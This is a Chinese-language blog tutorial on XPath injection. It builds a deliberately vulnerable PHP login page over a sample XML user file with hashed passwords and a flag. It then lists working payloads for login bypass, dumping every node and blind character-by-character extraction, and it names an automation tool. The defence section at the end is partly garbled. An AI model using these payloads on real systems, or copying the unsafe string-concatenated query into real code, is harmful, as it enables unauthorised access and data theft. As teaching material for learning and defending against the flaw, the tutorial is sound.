标签:child ring 不清楚 inject https htm use start 信息
XPath
,经常写爬虫的人应该都不陌生。比如 Python 中,经常使用 lxml 来获取网页的元素,特别方便。
对应的 Chrome 也有一个插件,叫 XPath Helper
,能直接给出鼠标所在的 XPath 路径:
还有一个利用 XPath 在线解析 xml 的,传送门??
菜鸟教程:传送门??
chr
函数类似。测试代码如下:
users.xml
<?xml version="1.0" encoding="UTF-8"?> <root> <users> <user> <id>1</id> <username>admin</username> <password type="md5">0192023a7bbd73250516f069df18b500</password> </user> <user> <id>2</id> <username>jack</username> <password type="md5">1d6c1e168e362bc0092f247399003a88</password> </user> <user> <id>3</id> <username>tony</username> <password type="md5">cc20f43c8c24dbc0b2539489b113277a</password> </user> </users> <secret> <flag>flag{My_f1rst_xp4th_iNjecti0n}</flag> </secret> </root>
index.php
<?php $xml = simplexml_load_file(‘users.xml‘); $name = $_GET[‘u‘]; $pwd = md5($_GET[‘p‘]); $query = "/root/users/user[username/text()=‘".$name."‘ and password/text()=‘".$pwd."‘]"; echo $query; $result = $xml->xpath($query); if($result) { echo ‘<h2>Welcome</h2>‘; foreach ($result as $key => $value) { echo ‘<br />ID:‘.$value->id; echo ‘<br />Username:‘.$value->username; } }
万能密码
/root/users/user[username/text()=‘‘ and password/text()=‘‘]
payload:
u = "admin‘ or ‘1"
p = ""
结果:
/root/users/user[username/text()=‘admin‘ or ‘1‘ and password/text()=‘d41d8cd98f00b204e9800998ecf8427e‘]
这种只能获取当前节点下的数据,可以用下面的payload节点遍历
u = "admin‘] | //* | //*[‘"
p = ""
结果
/root/users/user[username/text()=‘‘] | //* | //*[‘‘ and password/text()=‘d41d8cd98f00b204e9800998ecf8427e‘]
需要注意的是,这里的 |
(路径运算符)不能用 or
(布尔运算符) 替代,它们是不一样的。
显然,节点遍历也能起到万能密码的作用,且无需知道一个存在的用户名。
xpath盲注适用于攻击者不清楚文档的架构,没有错误信息返回,一次只能通过不二话查询来获取部分信息。
u = "‘ or count(/)=1 or ‘1"
count(/)=1一直到count(/)=n,判断出根节点有几个。
u = "‘ or string-length(name(/*[1]))=1 or ‘1"
逐个字符获取名字
payload:
u = "‘ or substring(name(/*[1]), 1, 1)=‘a‘ or ‘1"
u = "‘ or substring(name(/*[1]), 1, 1)=‘b‘ or ‘1"
遍历完所有的ascii字符后,判断出第n个根节点的名字的第n个字符
xcat:https://github.com/orf/xcat
[
、]
、转义 ‘
、and
、or
等等。name()
、count()
等等。md5()
函数计算。标签:child ring 不清楚 inject https htm use start 信息
原文地址:https://www.cnblogs.com/Silkage/p/13221620.html